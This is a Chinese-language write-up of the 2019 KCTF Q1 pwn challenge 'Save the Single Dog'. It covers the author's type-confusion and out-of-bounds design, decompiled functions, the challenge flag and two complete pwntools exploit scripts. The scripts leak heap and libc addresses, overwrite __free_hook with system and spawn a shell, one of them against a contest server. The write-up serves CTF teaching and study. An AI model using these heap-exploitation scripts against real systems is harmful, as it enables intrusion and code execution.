2019KCTF 晋级赛Q1 | 第四题点评及解题思路

小雪 看雪学院 1周前

春暖花开，万物复苏，又到了交配的季节，空气中充满着荷尔蒙的气味，然而，在广阔无垠的亚欧大陆上却生存着一个数量庞大的哺乳动物——单身狗。

第四题的团队发起了《拯救单身狗》的行动，拯救单身狗，势在必行。你脱单了吗？

攻破此题的战队

排名	战队名	破解时间	获取积分
1	7HxzZ	10037s	100
2	n0body	11322s	100
3	pizzatql	15784s	100
4.	Nu1L	17083s	100
5.	fade-vivi	26101s	100
6.	te4t	39146s	100
7.	校草队	98916s	100
8.	萌新队	108928s	100
9.	TK426	111096s	100
10.	W8C	111445s	100
11.	Vidar-Team	118921s	100

题目名称	第四题 拯救单身狗
出题战队	404gg
题目简介	PWN题 [公告]2019看雪CTF新赛季！晋级赛每次6-8题，一次性放题，赛期14天。战队必须通过晋级赛，才能参加年底的总决赛！本比赛要求战队独立回答。在题目未结束前，请勿在论坛、QQ群等公共场所讨论试题相关信息，否则视为作弊。欢迎选手加比赛QQ群：8601428
题目下载	apwn.rar
提交答案	请输入注册码（序列号）提交 提交
解析文章	foyjog [原创]第四题 拯救单身狗 ODPan [原创]2019看雪CTF 晋级赛Q1 第4题 poyoten [原创]【2019看雪CTF】Q1赛季 第四题 拯救单身狗 WP 大帅锅 [原创]第四题 拯救单身狗 witcher [原创]pizzatql-拯救单身狗-

此题围观人数达到了**3144**人，这道题目同样有**44**支战队破解出来。

出题团队

战队成员：sixty的梦想

个人主页：https://bbs.pediy.com/user-770523.htm

个人简介：云南大学大四学生，目前于360代码安全实验室实习安全研究员，pwn手一枚，喜好堆类型及内核类型题目，实习研究方向：IoT。漏洞挖掘路上的一枚菜鸡2333。

看雪CTF crownless 评委 点评

《拯救单身狗》的设计包含了任意地址写以及堆数据泄漏，要求参赛者理清攻击思路，并具有逆向、编写pwn脚本的基本能力。

题目设计思路

1. 设计灵感来自于CVE-2018-5002，类型混淆。漏洞样本是通过vb脚本自定义两个相似对象，通过漏洞函数使两个对象的类型发生了混淆，实现了任意地址读写。

题目提前定义了两个对象类型，并设计一个漏洞函数（漏洞为数组越界）。

```
Struct a{
Name;
}
Struct b{
A;
Name;
}
```

通过漏洞函数导致b对象进入了a对象的数组。导致对a对象name的写影响了实际为b对象的结构指针A。导致了任意地址写。

2. 程序开启了全保护，有了任意地址写后需要掌握写的地址。题目第二部分为信息泄露部分。在对a对象进行写入后会有一次输出内存的机会用来泄露堆里的数据。

流程为：泄露堆地址->任意地址写chunk size->泄露libc地址

解题思路

第一步，通过tchche指针得到堆的地址。由于free堆块采用的rand的方式从数组里随机释放。得到的heap地址需要/0x1000*0x1000+0x660(libc-2.27)

第二步，需要创造出能分配进入unsorted_bin链表的堆块。由于tcache的限制，需要释放大小大于0x408的堆块才能进入unsorted_bin，或者多次释放small chunk填充tcache链表。

题目malloc大小固定为0x20，需要通过任意地址写+堆地址写入某一堆块size，配合save函数中的free，free的堆块地址可以由类型混淆控制。

我选择写入的大小为0x30*22=0x420.得到libc中main_arena地址。之前可以尝试摸索发现程序存在tcache机制可以判断libc版本为2.26或2.27（故libc未给出，不然就太简单了）。分别尝试可得到libc地址。

第三步，任意地址写写入free_hook为system完成利用

```
from pwn import *
p=process('./Ezgame')
e=ELF('./libc-2.27.so')
context(log_level='debug')
def save():
p.writeline('5')
p.readuntil('>>')
def edit_lucky(a,b):
p.writeline('4')
p.readuntil('which')
p.writeline('0')
p.readuntil('What is your new name?')
p.write(a)
p.readuntil('name')
p.write(b)
p.readuntil('>>')
def edit_single(a,b):
p.writeline('3')
p.readuntil('which')
p.writeline(a)
p.readuntil('name')
p.write(b)
p.readuntil('>>')
def create_lucky(a,b):
p.writeline('2')
p.readuntil('Name')
p.writeline(a)
p.readuntil('name')
p.write(b)
p.readuntil('>>')
def create_single(a):
p.writeline('1')
p.readuntil('Name:')
p.write(a)
p.readuntil('>>')
p.readuntil('>>')
create_lucky('123','123')
for i in range(0,0x5):
create_single('123')
for i in range(0,0x5):
save()
create_single('1')
p.writeline('3')
p.writeline('0')
p.readuntil('name')
```

```
p.write('1')
p.readuntil('new name: 1')
heap=u64((chr(0)+p.readuntil('1')[:-1]).ljust(8,chr(0)))
heap_addr=heap/0x1000*0x1000+0x660
success(hex(heap_addr))
for i in range(0,0x4f):
create_single('/bin/sh'+chr(0))
save()
edit_single('80',p64(heap_addr+8))
edit_lucky('123',p64(0x421))
edit_single('80',p64(heap_addr+0x10))
gdb.attach(p)
save()
p.writeline('3')
p.writeline('79')
p.readuntil('name')
p.write('a'*8)
p.readuntil('a'*8)
libc=u64(p.readuntil('1')[:-1].ljust(8,chr(0)))-0x1b7ca0
success(hex(libc))
edit_single('79',p64(libc+e.symbols['__free_hook']))
edit_lucky('123',p64(libc+e.symbols['system']))
edit_single('79',p64(heap_addr+0x40))
p.interactive()
```

解题思路

▼

本题解题思路由 **ODPan** 提供

查看保护

```
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
```

程序分析-拯救单身狗

流程

流程比较简单创建单，保存，编译sing和lucky dog

```
switch ( (unsigned int)&savedregs )
{
case 1u:
singledog();
break;
case 2u:
luckydog();
break;
case 3u:
edit_singledog((__int64)"You can create a character and choose if he needs a partner.\n
break;
case 4u:
edit_luckydog();
break;
case 5u:
save_singledog();
break;
case 6u:
exit(1);
return;
default:
continue;
}
```

漏洞

拯救单身狗，free后，排序存在溢出。two[79]==one[0]

```
unsigned __int64 save_singledog()
{
unsigned int lucky_num1; // ST10_4
unsigned int single_num1; // ST14_4
void **v2; // ST18_8
void *v3; // ST20_8
int i; // [rsp+Ch] [rbp-24h]
unsigned __int64 v6; // [rsp+28h] [rbp-8h]

v6 = __readfsqword(0x28u);
puts("A luckydog wants to change a partner,Which singledog will be saved?");
lucky_num1 = rand() % lucky_num;
single_num1 = rand() % single_num;
printf("luckydog %d save singledog%d!\n", lucky_num1, single_num1);
v2 = (void **)one[lucky_num1];
v3 = two[single_num1];
free(*v2);
*v2 = v3;
for ( i = single_num1; i < single_num; ++i )
two[i] = two[i + 1];
--single_num;
return __readfsqword(0x28u) ^ v6;
}
```

获取libc基址

```
unsigned __int64 __fastcall edit_singledog(__int64 a1, __int64 a2)
{
int v3; // [rsp+4h] [rbp-Ch]
unsigned __int64 v4; // [rsp+8h] [rbp-8h]

v4 = __readfsqword(0x28u);
puts("which?");
v3 = read_int();
if ( two[v3] )
{
puts("Oh,singledog,changing your name can bring you good luck.");
read(0, two[v3], 0x20uLL);
printf("new name: %s", two[v3]);
}
else
```

```
{
puts("nothing here");
}
return __readfsqword(0x28u) ^ v4;
}
```

编辑单身狗时，对单身狗的序号没有正负判断。当序号输入为负数时，我们看看可以泄露点什么?

```
bss:0000563DB6742040 ; FILE *stderr
.bss:0000563DB6742040 ?? ?? ?? ?? ?? ?? ?? ?? stderr@@GLIBC_2_2_5 dq ?
.bss:0000563DB6742040
.bss:0000563DB6742040
.bss:0000563DB6742048 ?? completed_6962 db ?
.bss:0000563DB6742048
.bss:0000563DB6742049 ?? ?? ?? align 4
.bss:0000563DB674204C public single_num
.bss:0000563DB674204C 02 ?? ?? ?? single_num dd ?
.bss:0000563DB674204C
.bss:0000563DB6742050 public lucky_num
.bss:0000563DB6742050 ?? ?? ?? ?? lucky_num dd ?
.bss:0000563DB6742050
.bss:0000563DB6742054 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+ align 20h
.bss:0000563DB6742060 public two
.bss:0000563DB6742060 ; void *two[80]
.bss:0000563DB6742060 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+two dq 50h dup(?)
.bss:0000563DB6742060 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+
.bss:0000563DB67422E0 public one
.bss:0000563DB67422E0 ; _QWORD one[80]
```

two数组的上方（-4位置）是stderr@@GLIBC_2_2_5，可以利用此漏洞泄露libc地址。

利用思路

1、创建80个sigledog

2、创建1个luckydog

3、saveSingledog使得two[79]=one[0]

4、editsingleDog泄露heap信息

5、编辑singleDog -4索引，获取libc基址

6、同时得到了free_hook和system函数地址

7、使用system替换free，当saveSingledog调用free时，获取shell。
完整的利用代码

```
#!/usr/bin/python

# coding:utf-8

from pwn import *

from zio import *

context(log_level='debug')

g_oneAddr = 0x202060

g_twoAddr = 0x2022E0
libcOffset = 0x3ec680

free_hookOffset = 0x3ed8e8

systemOffset = 0x4f440

def singledog(data):

io.sendline('1')

p = io.recvuntil('Name:\n')

if p[0:3] == 'full' :

print 'full'

io.recvuntil('>>')

return 79
```

```
    index = p.index(':')
    num = int(p[index+1:-6])
    io.send(data)
    io.recvuntil('>>')
    return num


def editSingledog(num, data):
    io.sendline('3')
    p = io.recvuntil('which?')
    io.sendline(str(num))
    p = io.recvuntil('luck.')
    io.send(data)
    p = io.recvuntil('>>')
    return p
    print 'end editSingledog'


def luckdog(name, partner):
    io.sendline('2')
    #sleep(1)
    p = io.recvuntil('Name')
    if p[0:3] == 'full' :
    print 'full'
    io.recvuntil('>>')
```

```
    return 80


    index = p.index(':')
    num = int(p[index+1:-5])
    print 'get num = ' + p[index+1:-5]
    io.sendline(name)
    p = io.recvuntil('s name')
    io.sendline(partner)
    io.recvuntil('>>')
    return num


def editluckledog(num, name, partner):
    io.sendline('4')
    p = io.recvuntil('which?')
    io.sendline(str(num))
    p = io.recvuntil('new name?')
    io.sendline(name)
    p = io.recvuntil('s new name')
    io.send(partner)
    io.recvuntil('>>')
    print 'end editluckledog'
```

```
def saveSingledog():

io.sendline('5')

p = io.recvuntil('>>')

#luckydog 0 save singledog0!

luckydogstart = p.index('luckydog', 66)

luckydogend = p.index('save', 66)



luckyNum = int(p[luckydogstart + 9:luckydogend-1])

singledogstart = luckydogend + 14

singledogend = p.index('!', 66)

singleNum = int(p[singledogstart:singledogend])

print 'luckyNum = ' + str(luckyNum) + ' singleNum = ' + str(singleNum)

print 'end saveSingledog'

return luckyNum, singleNum



def createSingleDogByNum():



i = 0;

while i <= 80 :

curNum = singledog("1111111111111111111")

if curNum == 79 :

return

i = i+1
```

```
    return


    def getHeapAddr():
    createSingleDogByNum()
    luckdog('444444', '5555555555555')
    luckIndex, singleIndex = saveSingledog()
    p = editSingledog(79, '3')
    addr = p[11:19]
    heapAddr = u64(addr)
    print str(hex(heapAddr))
    print '*****************************************'
    heapAddr = heapAddr & 0x0000fffffffff00
    print str(hex(heapAddr))


    heapAddr = heapAddr - (((singleIndex)*0x30)&0x0000fffffffff00)
    print str(hex(heapAddr))
    return heapAddr,luckIndex, singleIndex


    def SetAddr(addr):
    editSingledog(79, p64(addr))


    def changeAddr(singleIndex, heapAddr, value):
```

```
aimAddr = heapAddr + singleIndex*0x30

print 'aimAddr = ' + str(hex(aimAddr))

SetAddr(aimAddr)

data = p64(0)+p64(value)

editluckledog(0,'1', data)



if __name__ == '__main__':



#io = process('./apwn')

io = remote('211.159.175.39', 8686)

io.recvuntil('>>\n')

print 'start'

heapAddr,luckIndex, singleIndex = getHeapAddr()



p = editSingledog(-4, 'aaaaaaaa')

end = p.index('1.create')

start = p.index('aaaaaaaa')

print 'end = ' + str(hex(end))

print 'start = ' + str(hex(start))

temp = p[19:27]

print temp

libcAddr = u64(temp)
libcAddr = libcAddr - 0x83
```

```
libcAddr = libcAddr & 0x0000ffffffffffff

#0x2e317f45bbc9c703

print str(hex(libcAddr))

libcBaseAddr = libcAddr - libcOffset

print str(hex(libcBaseAddr))

print '***************get libc ok ***********************'



freeAddr = libcBaseAddr + free_hookOffset

systemAddr = libcBaseAddr + systemOffset

print 'freeAddrr = ' + str(hex(freeAddr))

print 'systemAddr = ' + str(hex(systemAddr))

print '***************get systemAddr & freeAddrr ok ***********************'



# [free_hook addr] = systemAddr

SetAddr(freeAddr)

data = p64(systemAddr)

editluckledog(0,'1', data)

#gdb.attach(proc.pidof(io)[0])

#print 'pause...'

#pause()

print '***************[free_hook addr] = systemAddr ***********************'

# recover old addr

aimAddr = heapAddr + singleIndex*0x30 + 0x10
```

```
print 'aimAddr = ' + str(hex(aimAddr))

SetAddr(aimAddr)



# set /bin/sh

binshshstring = '/bin/sh' + p64(0)

print binshshstring

editluckledog(0,'1', binshshstring)

#io.recvuntil('end editluckledog')

sleep(2)

io.sendline('5')

io.recvuntil('!')

#print '***************get shell ************************'

io.interactive()
```

flag {eiwe823kdkuwewl4iu3lsdu8234siwe7}

看雪CTF晋级赛Q1 题解列表

1、2019KCTF 晋级赛Q1 | 第一题点评及解题思路
2、2019KCTF 晋级赛Q1 | 第二题点评及解题思路
3、2019 KCTF 晋级赛Q1 | 第三题点评及解题思路
4、英雄榜 | 2019 看雪CTF 晋级赛Q1 排行榜出炉!

- End -

公众号ID：ikanxue

官方微博：看雪安全

商务合作：wsc@kanxue.com

戳原文，查看更多精彩writeup!

阅读原文